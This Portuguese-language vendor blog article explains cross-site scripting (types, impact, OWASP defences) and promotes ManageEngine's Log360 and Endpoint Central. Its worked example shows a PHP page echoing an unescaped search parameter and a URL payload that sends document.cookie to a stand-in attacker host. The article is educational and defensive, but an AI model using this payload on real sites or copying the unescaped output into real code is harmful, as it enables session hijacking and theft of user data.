Saiba como impedir o Cross-Site Scripting (XSS)

O Cross-Site Scripting, conhecido pela sigla XSS, é uma das vulnerabilidades mais antigas e exploradas na web. Ele está presente no OWASP Top 10 há anos e continua afetando aplicações de todos os portes: desde pequenos sites institucionais até plataformas usadas por milhões de usuários.

Neste artigo, você irá entender o que é o ataque de XSS, como ele funciona na prática e como reduzir esse risco na sua organização. Continue lendo a seguir:

O que é Cross-Site Scripting (XSS)?

O Cross-Site Scripting é um tipo de ataque de injeção de código em que o alvo principal é o cliente. Isso significa que um invasor consegue inserir um script malicioso — frequentemente em JavaScript — dentro de um site legítimo, fazendo com que esse código seja executado no navegador de outras pessoas que acessarem a página.

A principal diferença entre o XSS e outros tipos de ataques web é o alvo: e o alvo do XSS não é o servidor ou a aplicação que está recebendo o script malicioso, mas os usuários, pois a aplicação comprometida nada mais é do que um intermediário para entregar o código malicioso até a vítima.

E como o navegador do usuário não tem como diferenciar um script malicioso do conteúdo verdadeiro do site — uma vez que o código veio do domínio em que a vítima confia —, ele é executado dentro do contexto de origem daquela aplicação.

Isso dá ao script acesso a recursos daquele domínio específico, porém não significa acesso irrestrito ao navegador ou ao sistema do usuário. Na verdade, o script continua sujeito às proteções e limitações nativas do navegador.

Como o XSS funciona?

Uma maneira mais simples de explicar como esse ataque funciona é pensar em um site qualquer que possui um campo de busca. Se o usuário digitar "jaqueta impermeável", a página irá mostrar de volta algo como "Você buscou por: jaqueta impermeável". Tudo normal até então, pois o site só está repetindo na tela o que você escreveu.

O problema está no fato de que muitos sites fazem isso sem checar o que está sendo repetido, e isso é praticamente uma porta aberta para o ataque. Se o site não possuir um protocolo de segurança para barrar essa entrada, alguém pode colocar um código de programação em um campo de busca ou de comentários, o navegador vai ler esse código como um comando verdadeiro e executá-lo, ali mesmo, na tela do usuário.

Então, o ataque aconteceria da seguinte maneira:

A aplicação recebe uma entrada de dados vinda de uma fonte não confiável, geralmente um campo de busca, formulário de login, campo de comentário ou parâmetro de URL;
Essa entrada é devolvida ao navegador dentro do HTML da página, sem passar por validação ou tratamento adequado;
Se a entrada tiver um código executável (como uma tag <script>), o navegador interpreta e executa esse malware como se fizesse parte da página;
A partir daí, dependendo de como a aplicação foi construída, o script pode acessar dados dentro daquela mesma origem, como o conteúdo da página e dados digitados em formulários.

O alcance desse impacto pode variar bastante, podendo afetar tanto cookies quanto tokens de sessão. Atributos de cookie como o HttpOnly, ou o uso de uma Content Security Policy (CSP) e até mesmo a própria arquitetura de sessão da aplicação — por exemplo, tokens curtos e renovados com frequência — podem minimizar o que um invasor pode extrair, mesmo diante de uma falha de XSS.

Em um cenário comum como o de roubo de sessão, se a aplicação alvo não usa o atributo HttpOnly nos cookies de autenticação, um script malicioso pode lê-los com o JavaScript e enviá-los para um servidor controlado pelo invasor, que, por sua vez, passa a usar essas credenciais para se passar pelo usuário legítimo sem a necessidade de senhas.

Contudo, esse cenário não é automático. Cookies protegidos com HttpOnly não podem ser lidos pelo JavaScript, e uma CSP bem configurada pode bloquear o envio desses dados para domínios externos. Isso quer dizer que o impacto de um roubo de sessão baseado em XSS depende diretamente de como a aplicação está tratando os seus cookies e a sua sessão.

Exemplo do Cross-Site Scripting na prática

No código do lado do servidor, a página simplesmente devolve o termo pesquisado dentro do HTML, sem verificar o que veio ali:

<p>Resultados para: <?= $_GET['termo'] ?></p>

Em uma busca normal, isso funciona sem problemas. Se um usuário acessa:

https://loja.exemplo.com/busca?termo=jaqueta+impermeavel

A página exibe, como esperado:

Resultados para: jaqueta impermeável

Agora veja o que acontece se, em vez de um termo de busca, alguém enviar isto:

https://loja.exemplo.com/busca?termo=<script>fetch('https://site-malicioso.com/coleta?c='+document.cookie)</script>

Como o servidor não trata o parâmetro termo antes de exibi-lo, a página devolve exatamente isso no HTML, e o navegador interpreta a tag <script> como um comando e a executa. Na prática, o cookie de sessão do usuário é enviado diretamente para o servidor do invasor, sem que nada de estranho apareça na tela.

Esse exemplo usa um alerta de busca só para ilustrar o conceito, mas o mesmo princípio vale para qualquer campo que devolve dados do usuário sem tratamento, sejam comentários, formulários de cadastro, páginas de erro, entre outros.

Como os ataques de XSS comprometem a segurança das organizações

Os impactos de um XSS bem executado vão muito além de uma simples janela pop-up na sua tela. Entre as consequências mais comuns estão:

Sequestro de sessão e contas: quando cookies ou tokens de sessão não estão devidamente protegidos, o invasor pode roubá-los e assumir a identidade do usuário dentro da aplicação, sem precisar da senha;
Vazamento de dados sensíveis: informações digitadas em formulários, dados financeiros e credenciais podem ser capturadas e enviadas para o atacante;
Caminho aberto para ameaças: o script injetado induz a vítima a baixar um arquivo malicioso ou redirecioná-la para um site que tenta outras formas de exploração;
Desfiguração de conteúdo (defacement): páginas podem ter seu conteúdo alterado, o que prejudica a credibilidade da marca;
Engenharia social direcionada: formulários falsos podem ser exibidos sobre a página legítima para capturar senhas e dados de cartão;
Efeito cascata em ambientes corporativos: se a vítima for um administrador do sistema, o invasor pode obter acesso privilegiado e comprometer toda a aplicação, não apenas a conta de um usuário comum.

Como o Cross-Site Scripting explora a confiança que o navegador deposita no site, e não uma falha isolada de um único usuário, um único ponto vulnerável em uma aplicação pode colocar em risco todos os visitantes daquela página. O resultado é que isso amplia significativamente o impacto que um ataque deste tipo pode ter para a reputação e para as finanças da organização.

Tipos de ataques Cross-Site Scripting

O XSS pode ser separado em três categorias principais de ataque. São elas:

XSS Refletido (não persistente)

É o tipo mais comum desse ataque, onde o código malicioso é incluído na própria requisição — normalmente na URL — e "refletido" de volta na resposta do servidor. Como não fica armazenado, o invasor precisa induzir cada vítima a clicar em um link malicioso, geralmente por phishing ou engenharia social.

XSS Armazenado (persistente)

É considerado o mais perigoso e ocorre quando o código malicioso é salvo permanentemente no servidor, como em um campo de comentário, em um perfil de usuário ou em um fórum. Todo e qualquer usuário que visualizar esse conteúdo executará o script automaticamente, sem precisar clicar em nenhum link, ampliando consideravelmente o alcance do ataque.

XSS baseado em DOM

Nesse caso, a vulnerabilidade está no processamento feito inteiramente no navegador — no DOM da página, ou Modelo de Objeto de Documento —, e não no código devolvido pelo servidor. Por isso, esse tipo de ataque é mais difícil de ser detectado por ferramentas que analisam apenas o tráfego ou os logs do servidor, já que o payload malicioso pode nunca chegar a ser registrado no back-end.

Qual a diferença entre Cross-Site Scripting e injeção de SQL?

Embora XSS e injeção de SQL (SQLi) sejam frequentemente citados juntos por serem os ataques de injeção mais conhecidos, cada um possui alvos e objetivos diferentes:

Basicamente, o XSS explora a confiança que o navegador da vítima tem no site para atacar outros usuários, enquanto a injeção de SQL explora a confiança que a aplicação tem nos dados enviados por um usuário para atacar diretamente o banco de dados.

Ambos nascem do mesmo problema, que é a falta de validação e tratamento adequado das entradas; mas o vetor, o alvo e os controles de mitigação específicos são diferentes.

Como se proteger contra ataques de Cross-Site Scripting

Não existe uma única medida capaz de eliminar totalmente o risco de XSS. De acordo com o documento Cross Site Scripting Prevention Cheat Sheet da OWASP, uma defesa eficaz não se limita à validação da entrada de dados ou à remoção de caracteres perigosos; na verdade, ela depende principalmente do tratamento correto da saída de dados, de acordo com o contexto em que serão exibidos.

Algumas das principais medidas são:

Output encoding sensível ao contexto

Converter caracteres especiais antes de inseri-los na página, usando a técnica de codificação correta para cada contexto (HTML, atributo HTML, JavaScript, CSS ou URL). Aplicar o encoding errado para o contexto pode deixar a aplicação vulnerável, mesmo com o output encoding implementado.

Uso de frameworks e APIs seguras por padrão

Frameworks modernos — como React, Angular e Vue — já aplicam escaping automático na maior parte dos casos. O risco costuma aparecer quando a equipe de desenvolvimento usa as "portas de escape" desses frameworks, como dangerouslySetInnerHTML no React ou bypassSecurityTrustAs* no Angular, sem tratamento adicional.

Sanitização de HTML

A sanitização de HTML é necessária quando a aplicação precisa aceitar HTML gerado pelo próprio usuário (em um editor de texto rico, por exemplo). Nesses casos, o output encoding tradicional quebra a formatação.

O conteúdo deve passar por uma biblioteca de sanitização — a OWASP recomenda o DOMPurify —, que remove tags e atributos perigosos, mantendo a estrutura HTML.

Validação de entrada

A validação de entrada continua sendo uma camada útil, especialmente para rejeitar formatos claramente fora do esperado, mas funciona como um complemento ao output encoding, não como um substituto.

Camadas adicionais de defesa

Atributos de cookie, como HttpOnly e Secure, e uma CSP bem configurada, reduzem o impacto de uma eventual falha. No entanto, a própria OWASP alerta que nenhum dos dois deve ser tratado como defesa principal, pois não corrigem a causa raiz da vulnerabilidade, que está no código da aplicação.

Como o Log360 e o Endpoint Central complementam a proteção contra o XSS

A correção de uma vulnerabilidade de XSS é, antes de tudo, uma responsabilidade da segurança de aplicações e do desenvolvimento seguro. É no código da aplicação, com a codificação correta de saída, a sanitização e o uso seguro de frameworks, que a causa raiz do problema é eliminada. Nenhuma ferramenta de perímetro ou de endpoint substitui esse trabalho.

No entanto, as soluções de segurança corporativa continuam a desempenhar um papel relevante como uma camada adicional de defesa e resposta, especialmente quando uma vulnerabilidade XSS já está sendo explorada ou quando o objetivo é reduzir a superfície de risco em torno da aplicação.

O Log360, da ManageEngine, atua na camada de detecção e resposta a incidentes, correlacionando eventos de segurança a partir de fontes de dados integradas à ferramenta, como registros de rede, de aplicativos e de WAFs, quando disponíveis. Com base nessas fontes, a solução SIEM consegue identificar padrões de comportamento associados a uma tentativa de exploração em andamento, como requisições repetidas com payloads de script ou tráfego anômalo direcionado a domínios externos.

Ela também conta com perfis de alerta configuráveis para notificar a equipe de segurança. É importante ressaltar que a eficácia dessa detecção está diretamente relacionada à qualidade e à abrangência das fontes de log conectadas ao Log360 — quanto maior a visibilidade sobre a camada de aplicação, mais preciso será o alerta.

Os recursos de SOAR (Security Orchestration, Automation and Response) do Log360 complementam a detecção ao automatizar parte da resposta a incidentes por meio de fluxos de trabalho pré-definidos, reduzindo assim o tempo médio de detecção (MTTD) e o tempo médio de resolução (MTTR).

Já o Endpoint Central atua em uma frente diferente, no dispositivo do usuário final. Ele não corrige nem impede diretamente uma vulnerabilidade de XSS existente na aplicação — essa responsabilidade, conforme mencionado, é da equipe de desenvolvimento —, mas contribui para reduzir a superfície de risco em torno do navegador por meio do gerenciamento de patches, do fortalecimento de configurações e de políticas de uso.

O add-on de Browser Security integrado ao console, reforça essa camada ao oferecer recursos como a restrição a navegadores confiáveis, o bloqueio e o gerenciamento de add-ons e extensões, o modo quiosque (que restringe o acesso a sites corporativos aprovados) e o isolamento da navegação para sites não autorizados.

Em resumo, o Log360 e o Endpoint Central funcionam como camadas adicionais de detecção, resposta e redução da superfície de ataque, não substituindo a principal linha de defesa contra XSS, que continua sendo a segurança aplicada na etapa de desenvolvimento da aplicação.

Teste o Endpoint Central ou o Log360 gratuitamente por 30 dias e veja em primeira mão como as nossas ferramentas podem reduzir sua exposição a essa e muitas outras ameaças!

Nota: Encontre a revenda da ManageEngine certa. Entre em contato com a nossa equipe de canais pelo e-mail latam-sales@manageengine.com.

Importante: a ManageEngine não trabalha com distribuidores no Brasil.